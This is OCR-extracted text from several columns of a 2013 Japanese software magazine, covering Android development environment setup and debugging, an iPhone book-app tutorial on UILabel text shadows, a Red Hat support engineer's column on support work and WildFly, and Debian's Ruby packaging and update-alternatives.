続にUSBドライバが必要となるため、「Extras」
の「Google USB Driver」にもチェックを入れて
ください。
　ひととおりチェックが済んだら、［Install x 

Package（xはチェックを入れた数）］ボタンをク
リックし、次の画面で「Accept License」にチェッ
クを入れて［Install］ボタンをクリックしましょ
う。パッケージがすべてダウンロードされれば
インストール完了です。これで開発するための

▼図2　Android SDK Manager

http://www.android-group.jp/


142 - Software Design Sep.  2013 - 143Sep.  2013 - 143

［アプリ開発2013］1Androidアプリ開発をはじめよう 第40回

Eclipse開発環境が整いました。
　次は実行環境となるエミュレータの作成に移
ります。

実行環境の準備

　Android端末を持っていない、もしくは端末
への転送の手間を極力省いてアプリの動作確認
やデバッグをするには、PC上でAndroidが動く
エミュレータを使います。エミュレータが必要
ないという方は次節を読み飛ばしてもかまいま
せん。

AVD Managerの設定と
エミュレータ起動

　エミュレータを起動させるには、まずAVD

（Android Virtual Device） Managerでターゲッ
ト端末のモデルを作成します。AVD Managerは
エミュレータの作成・起動を管理するツールで
す。Eclipseの左上側、Android SDK Manager

のアイコンの右隣にある「Android Virtual 

Device Manager」（図1の囲み参照）アイコンを
クリックしてウィンドウを開きます。開いたウィ
ンドウで［New］ボタンをクリックし、エミュレー
タ作成画面ウィンドウを出します。
　「AVD Name」に 適 当 な 名 前 を 入 力 し、
「Device」から好きな端末を選んでください。一
般的なスマホ端末でよければ「Galaxy Nexus」を
選択しておきましょう。「SD Card」のサイズに
は何も入力しなくても大丈夫です。［OK］をク
リックしてイメージを作成しましょう。作成し
たイメージを選択した状態で［Start］ボタンをク
リックし、出てきたウィンドウの［Launch］ボタ
ンをクリックしましょう。しばらくすると
Androidエミュレータが起動します。
　エミュレータはあたかも実機上で動くような
Androidを再現しますが、実機にしか備わって
いないNFC（Near Field Communication）やセ
ンサ類は再現できません。つまり後述するサン
プルアプリを試すとき、センサにかかわるアプ
リは動かないことに注意してください。ただし、

カメラ機能はWebカメラを使うことで再現させ
ることができます。

実機上での実行環境の整備

　Android端末を持っている場合はAndroid端
末で直接アプリを実行する環境を整えましょう。
まずAndroid端末の「設定」を開き、「開発者向け
オプション」で「USBデバッグ」にチェックを入
れてください注4。この状態でPCとAndroidを
USBでつなぐとADB（Android Debug Bridge）
接続ができるようになります。ただし、Windows

の場合はADB接続のためのUSBドライバが必
要になるので、端末メーカーから提供されてい
るADBドライバをインストールしておいてくだ
さい。もしNexus 7やGalaxy Nexus、Nexus S、
Nexus OneといったGoogleが提供しているデバ
イスをつなぐ場合には、前述のAndroid SDK 

Managerについての解説でドライバをインス
トールしてあるので、ドライバ検索の際に
「<Eclipseインストールディレクトリ >¥sdk

¥extras¥google¥usb_driver」というパスを指
定すればOKです。
　ドライバがインストールされ、PCとAndroid

端末がADB接続されているかどうかチェックす
るには、Eclipseの「Devices」タブで確認すると
よいでしょう。Devicesタブを表示させるには
Eclipseのメニューの［Window］→［Show View］
→［Other］→［Android］とたどり、「Devices」を
選択してOKをクリックしましょう。これで
Eclipseの画面下側にDevicesタブが現れます
（図1の画面下側参照）。そこのリストに自分の
端末名がリストアップされていればOKです。ま
た後々のために同じ手順で「Logcat」タブも表示
させておきましょう。LogcatにはAndroidのシ
ステムログやデバッグログといった非常に重要
なログが表示されます。

注4） 開発者向けオプションが見当たらない場合（Android 4.2以
降）は、まず開発者モードに移行する必要があります。「設
定」にある「端末情報」をたどって「ビルド番号」の項目を7回
タップしましょう。すると設定に「開発者向けオプション」
が現れるはずです。
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サンプルアプリの実行

　PC上でエミュレータが起動した状態、もし
くはPCとAndroid端末をADB接続させた状態
ができたら、サンプルアプリプロジェクトを用
意し、アプリでどのようなことができるかを見
てみましょう。
　まずサンプルアプリを用意するためにEclipse

のメニューから［File］→［New］→［Other］→
［Android］→［Android Sample Project］とたど
り、出てきた画面でAndroidのバージョンを選
択します。すると「Select Sample」の画面になる
ので、この中から「ApiDemos」を選択しましょ
う。ApiDemosは1つのアプリで非常に多くの機
能を試すことができます注5。
　ApiDemosプロジェクトができたら、メニュー
から［Run］→［Run］（もしくはl＋+）を
クリックし、出てきたウィンドウで「Android 

Application」を選択してOKをクリックしましょ

注5） もしリストにApiDemosが出てこない場合は、Android SDK 
Managerでサンプルアプリがインストールされていること
を確認して、Eclipseを再起動してみてください。

う。図3のようにApiDemosを実行させること
ができます（図はエミュレータ上のもの）。
　デモの数が非常に多いため、筆者がおもしろ
いと感じたデモのいくつかを表1にピックアッ
プしました。これらのデモを眺めるだけでも自
分の作りたいアプリのヒントになるでしょう。

デバッグ方法

　AndroidはADB接続を使ってデバッグできま
す。実機端末の場合はUSB接続させた状態にし
てください。主なデバッグ方法は次の2つがあ
ります。

❶ブレークポイントを貼りステップ実行させる
方法

❷Logcatにテキストを表示させる方法

　まずはステップ実行させる方法について
ApiDemosプロジェクトを使って説明します。
EclipseのApiDemosプロジェクトの［src］→
［com.example.android.apis］→［ApiDemos.java］
を開き、super.onCreate(savedInstance
State);の行にブレークポイントを貼ります。
ブレークポイントを貼るにはソースコードの左
側にある余白をダブルクリックします。すると
ブレークポイントを示す丸印が追加されます。
この状態でメニューから［Run］→［Debug］（もし
くは+）をクリックしましょう。しばらくす
るとAndroid側でApiDemosが立ち上がり、
Eclipseはデバッグモードの画面に移行します。
Eclipseのデバッグモード画面ではステップオー
バー、ステップイントゥ、ステップリターンな
ど一般的なデバッグの操作ができます。また停
止しているときの変数値はマウスポインタを当
てて参照することができます。
　次に、デバッグの2つ目の方法についてです。
Logcatタブ（表示方法は前述）にテキストを表示
させる方法です。いわゆる“printfデバッグ”で
す。ApiDemos.javaにimport android.util.
Log;を追加し、onCreateメソッド内にLog.

▼図3　エミュレータで実行したApiDemos

http://www.android-group.jp/
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d("ApiDemos", "moemoe");を追加しましょ
う。するとonCreateメソッドが呼ばれたとき、
つまりアプリケーションの起動時にLogcatの
Tagに「ApiDemos」、Textに「moemoe」と表示さ
れます。
　簡単なアプリを作成するのであれば、この2

つのデバッグ方法を知っておけば十分でしょう。

今回のまとめ

　さて、今回は開発環境の構築と、サンプルア
プリの実行およびデバッグ方法について解説し
ました。Androidプログラミングを始めるには
避けて通れない作業です。しかしあまり時間を
かけすぎずに済ませられるよう駆け足で説明し
てきました。
　次回はいよいよAndroidプログラミング方法
の説明に入っていきます。s

鈴木 圭介 （すずき けいすけ）　

組込み系Androidエンジニア。AndroidとArduino/mbed/FPGAなどと通信可能なUSBシリアル通信用ドライバ「FTDriver」
をオープンソースで公開。現在、機能拡張させた「Physicaloid Library」を公開中  URL  http://www.physicaloid.com/
フリーで仕事募集中。

▼表1　ApiDemosピックアップデモ
デモ 説明

Animation > Bouncing Balls タップしたところにボールが現れバウンドするアニメーション
Graphics > OpenGL ES > Kube 回転する3Dルービックキューブ
Media > AudioFx ミュージックイコライザ
App > Notifi cation 通知バーに出るメッセージ操作
Views > Animation さまざまなアニメーション
Content > Clipboard クリップボードにコピーしたデータタイプ判定
OS > Rotation Vector 端末の傾きと同じように傾く3Dキューブ ※実機のみ

Column

Android Studioについて
　「Android Studio」は 2013年 5月に Google I/O 
2013で発表された新しいAndroid開発環境で、
JetBrains社の IntelliJ IDEAをベースにしています。
IntelliJ IDEAはEclipseに比べ動作が軽く、リファク
タリングや補完機能が優れていると言われていま
す。現時点でバージョン0.1.8と開発版の色が濃く、
5日に一度バージョンアップを繰り返すくらいに活
発にアップデートされています。そのためよほど
IntelliJが好きだという人以外はまだ様子を見てお
いたほうがいいでしょう。
　とはいえ、Android Studioにはプログラミングが
楽しくなるようなさまざまな機能が盛り込まれて
おり、とても魅力的な開発環境です。今はどのよ
うな開発環境か動画を見て体感しておくとよいで
しょう。Google I/O 2013のセッション「What's new 
in Android Developer Tools」で Android Studio を
実際に使用している様子がYouTubeで公開されて

います。以下に主なポイントとそこから再生され
るリンクを用意しました。どれも2、3分で雰囲気
がわかるものばかりなので、通勤・通学時間など
空いた時間にご覧になってみてください。その他、
動画内ではアノテーション機能などが紹介されて
います。

補完機能、リファクタリング［6:02～］；
 URL  http://bit.ly/AndroidStudioDemo1
Git連携［9:38～］；
 URL  http://bit.ly/AndroidStudioDemo2
リアルタイムUI編集［17:00～］；
 URL  http://bit.ly/AndroidStudioDemo3
ストップウォッチアプリデモ解説［35:57～］；
 URL  http://bit.ly/AndroidStudioDemo4
ストップウォッチアプリデモ［44:10～］；
 URL  http://bit.ly/AndroidStudioDemo5

http://bit.ly/AndroidStudioDemo1
http://bit.ly/AndroidStudioDemo2
http://bit.ly/AndroidStudioDemo3
http://bit.ly/AndroidStudioDemo4
http://bit.ly/AndroidStudioDemo5
http://www.physicaloid.com/
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iPhoneブックアプリ開発

UILabelで文字を表示
　これまでの連載で作成してきたプロジェクトに文字表示機能を追加します。作成済みのアプリのプ
ロジェクト（作例ではMyBook2.xcodeproj）をXcodeで開いてください。

ステップ1 

　タイトル文字を表示するためのパーツ
を1ページ目に配置しましょう。
　Xcode の 左 カ ラ ム に あ る Project 
Navigator（プロジェクトナビゲーター）に
あ る「MainStoryboard.storyboard」を ク
リックしてStoryBoardを表示します。続
いて、Xcode右カラムのObject library（オ
ブジェクトライブラリ）から「Label」を
「Page1ViewController」にドラッグして
配置しましょう（図step1-1）。
　次に、配置したLabelの大きさを調整

ブックアプリなんだから、
文字を表示しよう！

プログラム知識ゼロからはじめる
iPhoneブックアプリ開発

プログラミングをしたことのない方にもアプリを作る楽しさを味わっ
てもらいたい本連載。今回はブックアプリらしく、画面上にテキスト
を表示させる方法を解説します。

第5回

今月は？

　お陰様で当連載も5回目を迎えました。今月
はブックアプリに必須の機能である文字表示を
組み込みましょう。図1のように各ページにタ
イトルと本文を表示するようにしたい思います。
では早速、手順を追って説明しましょう。

GimmiQ（ギミック；いたのくまんぼう＆リオ・リーバス）
 URL  http://ninebonz.net/

 URL  http://www.studioloupe.com/
イラスト●中川 悠京

 step1-1 step1-1

 ▼図1　今月の完成イメージ

Object libraryProject Navigator

http://ninebonz.net/
http://www.studioloupe.com/
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ステップ2

　配置したLabelの文字サイズなどをタイトル表示用に設定しましょう。
　まず文字のサイズを大きくし、文字（フォント）デザインも太いものにします。Labelを選択したまま
Xcodeの右カラムにあるAttributes inspector（アトリビュートインスペクター）をクリックしてください
（図step2-1）。
　「Font」の項目にある マークをクリックし、フォント設定メニューを表示します。フォント設定メ
ニュー内の「Font」項目をクリックしてフォントの種類を「System Bold」にします。これで、文字の線が
太いデザインのフォントを指定したことになります。また、「Size」の項目を27に編集して文字を大きく
しておきましょう。
　続いて文字色を変更しましょう。アトリビュートインスペクターの「Color」をクリックし、「White 
Color」を選択して文字色を「白」にします（図step2-2）。
　最後に文字の配置を「中央揃え」にします。アトリビュートインスペクターの「Alignment」の項目の真
ん中のアイコンをクリックして選択状態にしてください（図step2-3）。これでタイトル用に文字の装飾が
できました。

します。Labelをクリックして選択状態にしたまま、Xcodeの右
カラムにあるSize inspector（サイズインスペクター）のアイコン
をクリックすると、画像の位置（X, Y座標）と大きさ（Width：幅、
Height：高さ）が確認できます。この数値を図step1-2と同じ値に
なるように編集してください。このLabelが各ページのタイトル
になります。

ステップ3

　では、タイトルに表示する文章を設定しましょう。
　アトリビュートインスペクターにあるテキスト入力欄に表示した
い文章を入力します（図step3-1）。初期状態では「Label」という文章
が入力されています。作例では1ページ目が砂漠の画像ですので、
英語で砂漠を意味する「Desert」と入力しました。

 step1-2 step1-2

 step2-1 step2-1  step2-2 step2-2

 step2-3 step2-3

Size inspector

Attributes inspector

 step3-1 step3-1
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ステップ4

　本文表示用のパーツを配置しま
す。
　タイトル表示と同じパーツを使用
しますので、オブジェクトライブラ
リから再び「Label」を「Page1View
Controller」にドラッグして配置しま
す（図step4-1）。サイズは図step4-2
と同じに設定してください。

ステップ5

　本文用のLabelの見た目を本文表示用に設定しましょう。
　ステップ2を参考にアトリビュートインスペクターでフォント
の種類を「System Italic」にします。これは文字種類に斜体を指定
するという意味になります。文字の大きさは初期値の「17」でかま
いません。文字色を「白」に、文字の配置を「中央揃え」にします。
　本文用のLabelではもう1点設定をします。アトリビュートイ
ンスペクター内に「Lines」という項目があります（図step5-1）。こ
れは「Label」内に何行表示できるのかを設定する項目です。初期
値は1行になっており、タイトル用Labelではそのままでかまい
ませんでしたが、本文は1行というわけにはいかないと思います
ので、これを変更します。作例では10行に設定しました。
　テキスト入力欄に本文の表示内容を入力して終了です（図step5-
2）。作例では砂漠についての説明文を入力しました。
　以上で文字表示用の設定は一通り終わりました。

 step4-1 step4-1

 step4-2 step4-2

 step5-1 step5-1

 step5-2 step5-2
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ステップ6

　ここまでできたらいったん実行して1ページ目の表示を確認してみましょ
う。
　Xcodeのウィンドウ左上にある「Run（実行）」のアイコンをクリックしてく
ださい。どうでしょう？　図step6-1のような表示になりましたでしょうか。
文字を表示するという目的は果たしましたが、背景になる写真によっては
ちょっと文字が読みにくいかもしれません。

実行して確認

より高度な文字装飾
　プログラムコードを追加してより高度な文字の装飾を施しましょう。

ステップ7

　Xcode左カラムのプロジェクトナビゲーターにある「Page1ViewController.h」をクリックし、ソース
コードを表示してください。前回第4回のステップ1で追加したIBOutlet UIImageView *page1Image;
の後に、次の2行を追加してください。

IBOutlet UILabel *titleLabel;
IBOutlet UILabel *bodyLabel;

　同様に次の2行を@property (nonatomic, retain) IBOutlet UIImageView *page1Image;の後
に追加します。

@property (nonatomic, retain) IBOutlet UILabel *titleLabel;
@property (nonatomic, retain) IBOutlet UILabel *bodyLabel;

　「Page1ViewController.h」は図step7-1のようになったかと思います。

 step6-1 step6-1

 step7-1 step7-1
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ステップ8

　続いて実行ファイルである「Page1ViewController.m」のほうにもコード追加します。
　前回第4回のステップ2で追加した@synthesize page1Image;の後に次の2行を追加してください。

@synthesize titleLabel;
@synthesize bodyLabel;

　また、- (void)viewDidLoadの中にも次のコードを追加します（位置は図step8-1参照）。

// 文字に装飾を加える
// 影の形を設定
NSShadow *shadowAttr = [[NSShadow alloc] init];
[shadowAttr setShadowColor:[UIColor blackColor]];
[shadowAttr setShadowBlurRadius:5.0];

// タイトルに影を適用
NSMutableAttributedString *titleText = [[NSMutableAttributedString alloc] 
initWithString:titleLabel.text];
[titleText addAttribute:NSShadowAttributeName value:shadowAttr range:NSMakeRange(0, 
[titleText length])];
titleLabel.attributedText = titleText;

// 本文に影を適用
NSMutableAttributedString *bodyText = [[NSMutableAttributedString alloc] 
initWithString:bodyLabel.text];
[bodyText addAttribute:NSShadowAttributeName value:shadowAttr range:NSMakeRange(0, [bodyText 
length])];
bodyLabel.attributedText = bodyText;

　「Page1ViewController.m」は図step8-1と同じになったでしょうか。
　このコードが何をしているのか簡単に説明しましょう。ステップ7で追加した「UILabel」は装飾用のプ
ロパティ（attributedText）を持っているので、そこへ文字の周りに付ける影の設定（NSShadow）を作成し
「titleLabel」「bodyLabel」の両方に適用しています。
　これでプログラムがどう動くかの“台本”はできましたので、次は役の割り振りを行います注。

注） 「演劇」にたとえたコード説明については、連載の第4回を参照ください。

ステップ9

　ストーリーボード内の左カラム「Page1 View Controller」を ÌcontrolÔキーを押しながらクリックすると、
ポップアップが表示されます（図step9-1）。
　メニューの「Outlets」にある「titleLabel」の右端にある○をドラッグすると青いラインが出ますので、こ
れをタイトル用Labelまで図step9-1のようにつなげます。
　同様に「bodyLabel」を本文用「Label」まで図step9-2のようにつなげます。これでそれぞれの役の割り
振りができました。
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いたのくまんぼう／Itano Kumanbow
 Twitter  @Kumanbow

神奈川工科大学非常勤講師。リオさん
とはGimmiQ名義で「MagicReader」
（手を使わずにページがめくれる電子書籍
ビューワ）をリリース。個人ではNinebonz
名義で「i列車の車窓から－そうだ！ 京都行
こう！－」、「ジャマカム！ ～コジマジャマだカ
メラ～」など。アプリ紹介サイト「あぷまが
どっとねっと（http://appmaga.net/）」の
技術サポータ。

リオ・リーバス／Leo Rivas　
 Twitter  @StudioLoupe

iOSアプリ開発を中心に電子絵本作家・
漫画家として活動中。個人ではスタジオ
ルーペとして数字を指でドラッグ＆ドロップ
保存できる「フュージョン計算機（Fusion
Calc）」が代表作。電子絵本はiBook
store/Kindleストア共に児童書カテゴリ
総合1位を獲得。現在HPにてWeb漫
画「HELL BASEBALL」を連載中。

次回から

　いかがだったでしょう？　連載当初から今回
までの内容で、本としての最低限の機能はそろっ
たと思います。次回からはいよいよアプリなら
ではの機能を追加していきますのでお楽しみに！
｢

ステップ10

　もう一度実行して表示を確認してみましょう。
記事冒頭の画面写真（図1）のように文字の周りに
影がついて見やすく、そしてかっこよくなったの
ではないでしょうか？　同様に他のページにも文
字表示を追加してみましょう。

実行して最終確認

本連載のサポートページで記事の補足説明をしています。あわせてご活用ください！
 http://www.gimmiq.net/p/sd.html

 step9-2 step9-2

http://www.gimmiq.net/p/sd.html
http://appmaga.net/


ハードルを
軽々とくぐります！

　はじめまして、小西と申します。社内では目
立たずひっそりと生息しているのですが、執筆
者を探していた藤田さんとたまたま目が合った
ために今回の恵比寿通信を担当させていただく
ことになりました。前回の大村さんは、いいだ
けハードルを上げていきましたが、高すぎるハー
ドルは下をくぐることもできますので、無理せ
ずいきましょう :)

　筆者は大村さんと同じく、Red Hatでテクニ
カルサポートエンジニアをやっていますが、サ
ポートのお仕事はどのようなものかご存じでしょ
うか。筆者はRed Hat入社以前は開発を担当し
ていて、しかも使っていたソフトウェアの製品
サポート窓口に問い合わせることもなかったの
で、実際にやってみるまではあまりイメージが
湧きませんでした。そこで今回は、サポートの
日々のお仕事を中心に書いてみたいと思います。
なお、筆者が所属しているチームは JBoss 

Enterprise Application Platformをはじめとす
るミドルウェア製品を担当していて、これとは
別にRed Hat Enterprise Linuxをはじめとする

プラットフォーム製品を担当するチームがあり
ます。

ミドルウェア最新情報

　少々旧聞に属するものもありますが、ミドル
ウェア製品に関連していくつか動きがあったの
で、本題に入る前に少し紹介します。まず、コ
ミュニティ版の JBoss Application Server（以
下、JBoss AS）はWildFly注1と改名されました
（図1）。JBoss という名称は、今ではコミュニ
ティ、JBoss AS、さまざまなミドルウェア製品
に使われていて何を指すのかわかりにくくなっ
ていたため、コミュニティで名称変更の投票が
行われていたのですが注2、4月にめでたく決定
し、併せてロゴも発表されました。変更点の1

つとして、JBoss ASでは、これまでWebコン
テナコンポーネントとしてTomcat由来の
JBossWeb注3を採用していましたが、WildFly

ではUndertow注4というコンポーネントに置き
換わり、Websocket対応などの機能追加が行わ
れています。WildFlyのバージョンナンバーは
JBoss AS 7から継続して最初のバージョンが8

となります。原稿執筆時点では最新の開発リリー
ス版は8.0.0.Alpha3で、Java EE 7仕様の実装
に向けて活発に開発中です。
　次に、この連載でも執筆中とご案内してた
JBoss EAP 6の書籍注5が6月に発売されました

 ▼図1　WildFlyのロゴマーク

注1） http://wildfly.org/
注2） 2013年3月号第6回連載
注3） http://www.jboss.org/jbossweb
注4） http://undertow.io/
注5） http://gihyo.jp/book/2013/978-4-7741-5794-8

恵比寿通信
レッドハット

小西 高之
KONISHI Takayuki

レッドハット(株）グローバルサポートサービス
テクニカルサポートエンジニア

サポートのお仕事

第 回12
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筆者もレビューで参加しました。ぜひ一度手に
とってみてください。

サポートのお仕事

　サポートエンジニアのお仕事としては、まず
お客様のお問い合わせから始まります。お客様
からの質問は、弊社カスタマーポータル（以下、
CP注6）または電話で受け付けて、できるだけ早
く回答できるよう、日々努力を重ねているわけ
ですが、質問は1件ずつチケットとして、チケッ
ト管理システムに登録されます。登録されたチ
ケットを最初にチェックするのは、フロントラ
インのエンジニアです。筆者が開発をしていた
ころには、開発項目がタスクとして分割されて、
それを1つずつ消化していましたが、チケット
を割り振るというのはそれと近いものがありま
す。一方で、働き方がまったく異なる点として
は、次のような部分でしょうか。

1つのチケットの期限が 
明確に決まっている

　開発では、このタスクはこれくらいの時間が
かかるだろうという見積りがなされますが、サ
ポートでは24時間以内になんらかの回答をす
る、といったようなことが定められています。
内容の難易度と期限にはなんの関連もなく、す
ぐに解決できれば一番望ましいものの、混み入っ
た内容で、なかなか解決できないチケットもあ
ります。もっとも、それをいかに早く解決する
かという点がサポートの醍醐味でもあります。

まずは事例の調査

　開発タスクは、必ずコーディング、設定変更、
テストなどの実作業となると思いますが、サポー
トでは必ずしも手を動かして調べることばかり
ではありません。まずは、ナレッジベースを調
べます。ここには、過去の問い合わせをもとに、
問題と解決方法を端的にまとめたナレッジが集
約されているので、たとえばログメッセージな

どを検索するとそのものずばりの回答が見つか
ることもよくあります。また、弊社の製品には
コミュニティ版があるので、コミュニティサイ
ト注7などに回答がある場合もあります。ここま
ではある程度機械的にできる作業で、CPで質問
項目を入力中に類似のナレッジをサジェストす
る機能がベータ版として実装されています注8。ナ
レッジと一致すれば解決は早いのですが、お客
様の使い方のバリエーションが多かったり、環
境が異なっていたりするので、日々新しい事例
が生まれ、蓄積されています。

エキスパートの出番

　さて、事例と一致しないとき、ある程度目処
があれば、ソースコードを追ったり、質問を再
現したりしてみます。一方で、これは手に負え
なそうだと思ったらなるべく早くその分野のエ
キスパートに調査をお願いします。引き際を知
るのも重要なことです。まずは、サポート部門
の中で問い合わせます注9。ヨーロッパやアメリ
カにいる専門家から回答があることもあります。
それでもわからない場合は、そのソフトウェア
の開発者に問い合わせて助けてもらうこともあ
ります。また、プラットフォームチームにもと
きどき助けてもらっています。彼らにはごく常
識的なことでも、ミドルウェア担当には馴染み
にないことも多く、また逆の場合もあるので補
いあっています。

ワークフローは
日々改善

　大まかなワークフローは前の説明で想像いた
だけるのではないかと思いますが、細かいフロー
は実によく変わります。たとえばナレッジベー
スの編集ツールは昨年大きく変わったのち、イ
ンターフェースが細かく調整され続けています。
小さいレベルでは各エンジニアがGreasemonkey

スクリプトや簡単なツールを作成して広めるこ

注6） http://access.redhat.com/

注7） ミドルウェアでは http://jboss.org/
注8） 今のところ英語のみ対応しています。
注9） 英語で概要や質問をまとめておくことも必要です。

恵比寿通信レッドハット 第 回12
サポートのお仕事
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ともあり、半年前と比べてもフローの変化は驚
くほどです。戸惑うこともときどきありますが、
全体としては同じやり方をずっと続けるよりも、
改善とフィードバックを繰り返しているほうが
ずっと良いと思います。
　このように、サポートエンジニアは日々、お
客様の問題を解決するために奮闘しています。
ほかにも、サポートチームは製品の国際化や開
発そのものにも携わっていて、OSS製品ならで
はで興味深い点かと思いますが、今回はワーク
フローを中心に紹介しました。 

恵比寿通信と
いうことで

　過去の恵比寿通信を見返して1つ重大なこと
に気づきました。小見出しの頭には鯛がいるの
に、誰も恵比寿の鯛に触れていないではないで
すか！　JR東口から徒歩数分の路地の中に、「ひ
いらぎ」という有名な鯛焼屋さんがあります。30

分焼き上げたという皮はカリっと、あんこはしっ
とりしていてとても美味しく、昼食の後で買い
食いしたり、差し入れとしてもらったりします。
恵比寿にお越しの機会があれば、ぜひ一度お試
しください。買ってすぐ食べるのがおすすめで
す。
　また、ランチがおいしいという紹介が何度か
ありましたが、簡単なランチマップ注10を作成し
ています。覗いてみてください。
　最後になりましたが1つ告知があります。今
号発売直後の 8月 30日（金）に、Japan JBoss 

User Group（JJBug）注11 の勉強会、題して「灼熱
のJBoss」が恵比寿のRed Hatオフィスで開催予
定です！　以下のURLからお気軽にご参加くだ
さい。ﾟ
　http://atnd.org/events/41653

注10） http://goo.gl/maps/5Aj3G
注11） https://community.jboss.org/groups/japan-jbug/

恵比寿通信レッドハット 第 回12
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7 Debian JP Project　佐々木 洋平（ささき ようへい）
uwabami@debian.or.jp　Twitter：@uwabami

Ruby in Debian（1）

はじめに

　Software Designの読者の皆さんこんにちは。
Debian JP Projectの佐々木と申します。やま
ねさんからバトンを引き継ぎ、今月号の
Debian Hot Topicsを執筆させていただきます。
よろしくお願いします。
　さて今回と次回のDebian Hot Topicsでは、
DebianにおけるRubyとRubyに関連するソフ
トウェアのパッケージングについて紹介します。
前回までのHot Topicsとは多少趣が異なるか
もしれませんが、「ディストリビューション開発」
の一例として楽しんでくだされば幸いです。

Ruby in Debian

　まず、DebianにおけるRubyパッケージの状況
について簡単にまとめてみます。現在、Debian

のパッケージとなっているRuby処理系は、

¡ Ruby 1.8.7（patchlevel 358）
¡ Ruby 1.9.3（1.9.3p194, rev 34510）
¡ JRuby 1.5.6（ruby 1.8.7 patchlevel 249）

の3つです。本稿執筆時点ではstable（Wheezy）、
testing（Jessie）、unstable（Sid）のすべてで同
じバージョンがパッケージングされています。
　このうちRuby1.8.7は、みなさんご存じのと
おり2013年6月30日に正式にサポート対象外

となりました注1。これは2011年10月6日にア
ナウンスされていたスケジュールどおりです。
このスケジュールをふまえてDebian 7.1

（Wheezy）においてRuby1.8.7を提供するかに
ついては、一度議論となり、移行作業や移行で
きないパッケージの対応などの作業が行われま
した。結局リリース前に（正確には freeze宣言
前に）、Ruby1.8.7に依存するほかのパッケー
ジの移行を終わらせることが困難であったため、
Ruby1.8.7は削除されずにWheezyでも提供さ
れています。正式な日程は決まっていませんが、
testingおよびunstableからは近いうちに削除
される予定であり、WheezyはDebianにおいて
Ruby1.8.7を提供する最後のリリースとなりま
した。
　また、JRubyは最新版が1.7.4であるため、
Debianパッケージは多少古いバージョンとなっ
ています。これは、Debianの公式パッケージ
として収録されたのがWheezyの freeze直前で
あり、upstreamの更新とタイミングが合わな
かったためです。今後はDebian Java Teamに
よって更新される予定です。
　これらに加えて、現在作業中のパッケージと
して

¡Rubinius注2

注1） 「Ruby1.8.7は引退しました」　 URL  http://www.ruby-
lang.org/ja/news/2013/06/30/we-retire-1-8-7/

注2） #591817 - ITP: rubinius -- Rubinius is an imple 
mentation of the Ruby programming language　 
 U R L  http://bugs.debian.org/cgi-bin/bugreport.
cgi?bug=591817

http://www.ruby-lang.org/ja/news/2013/06/30/we-retire-1-8-7/
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=591817
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¡mruby注3

¡Ruby 2.0注4

があります。mrubyは現在experimentalにあり
ますので、パッケージング作業に興味のある方
は、ぜ ひ mrubyの Package Tracking System

（PTS）を用いてメンテナにコンタクトを取っ
てみてください。ちなみにRuby 2.0に関しては、
近いうちにunstableにアップロードされる予定
です。

Ruby in Wheezy

　次に現安定版Wheezyにおける、Ruby関連
の変更点についてまとめてみます。

CRuby alternatives、
ruby-switch

　旧安定版 Squeezeでは、/usr/bin/rubyは 

/usr/bin/ruby1.8へのシンボリックリンクと
なっていました。Wheezyからは /usr/bin/

rubyはAlternativesによって管理されており、
必要に応じて/usr/bin/rubyの実態を ruby1.8

もしくはruby1.9.1へと切り替えられるように
なっています。お使いの環境に ruby1.8と
ruby1.9.1双方がインストールされている場合、
デフォルトでは図1のように、/usr/bin/ruby

として/usr/bin/ruby1.9.1が実行されるように
なっています注5。たとえば、/usr/bin/rubyと
して /usr/bin/ruby1.8を使いたい場合には、
update-alternativesを使うことで /usr/bin/

rubyを切り替えられます（図2）。

 ▼図1　デフォルトでは /usr/bin/ruby1.9.1が実行される

$ ls -la /usr/bin/ruby
lrwxrwxrwx 1 root root 22  6月 10 18:39 /usr/bin/ruby  ¥
  -> /etc/alternatives/ruby
$ ls -la /etc/alternatives/ruby
lrwxrwxrwx 1 root root 18  6月 12 05:21 /etc/alternatives/ruby ¥
  -> /usr/bin/ruby1.9.1
$ ruby -v
ruby 1.9.3p194 (2012-04-20 revision 35410) [x86_64-linux]

 ▼図2　/usr/bin/rubyを/usr/bin/ruby1.8に切り替える

$ sudo update-alternatives --config ruby
alternative ruby (/usr/bin/ruby を提供) には 2 個の選択肢があります。

  選択肢    パス              優先度  状態
------------------------------------------------------------
* 0            /usr/bin/ruby1.9.1   51        自動モード
  1            /usr/bin/ruby1.8     50        手動モード
  2            /usr/bin/ruby1.9.1   51        手動モード

現在の選択 [*] を保持するには Enter、さもなければ選択肢の番号のキー
を押してください: 1
update-alternatives: /usr/bin/ruby (ruby) を提供するために
手動モード で /usr/bin/ruby1.8 を使います
$ ruby -v
ruby 1.8.7 (2012-02-08 patchlevel 358) [x86_64-linux]

注3） Debian Package Tracking System - mruby　 URL  http://
packages.qa.debian.org/m/mruby.html

注4） #697703 - ITP: ruby2.0 - - Ruby Programming 
Language　 U R L  http://bugs.debian.org/cgi-bin/
bugreport.cgi?bug=697703

注5） コマンド名は /usr/bin/ruby1.9.1ですが、実際には
Ruby1.9.3が実行されます。Ruby1.9.3はRuby1.9.1と
バイナリ互換（soname変更なし）であるため、コマンド
名は ruby1.9.1のままです。

http://packages.qa.debian.org/m/mruby.html
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=697703
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　同様にgemも切り替えることが可能です。そ
のため、/usr/bin/rubyが/usr/bin/ruby1.8で、
/usr/bin/gemが/usr/bin/gem1.9.1という特殊
なケースにも対応可能です。……とはいえ、こ
ういった用途はあまり想定できませんね（おそ
らく切り替え忘れでしょう）。rubyとgemを同
時 に（alternativesで）切 り 替 え る た め に、
Wheezyからは ruby-switchというパッケージ
を提供しています（図3）。
　ruby-switchコマンドは、結局のところ
update-alternativesを必要な回数呼び出してい
るだけですが、システムレベルでのRuby処理
系の切り替えが一括でできますので、ぜひとも
活用してみてください。

外部ライブラリのパッケージ名
とインストール先の変更

　これまで、Ruby本体に同梱されていない（た
とえばGemで配布されているような）外部ライ
ブラリ、ソフトウェアのパッケージ名はおおよ
そ libfoo-ruby1.8、libfoo-ruby1.9.1となってお
り、名の示すとおりRuby1.8用のパッケージと
Ruby1.9.1用のパッケージを別個にパッケージ
ングしていました。ですが、pure Ruby library

の場合には（多くの場合）提供しているファイル
が同じであるため、別個にパッケージングする
のはあまりエコではありません。よって、これ
らをまとめてruby-fooという単一のパッケー
ジに変更する作業がWheezyのリリース前に行

われました注6。具体的なパッケージ
命名法は

¡ライブラリパッケージはruby-{Gem
の名前}
例：ruby-gtk2、ruby-activerecord、
ruby-hikidoc

¡アプリケーションは{Gemの名前}
例：rails、rubygems、cucumber、
jekyll

といった塩梅になっており、Gemの
名前がわかれば必要なパッケージも
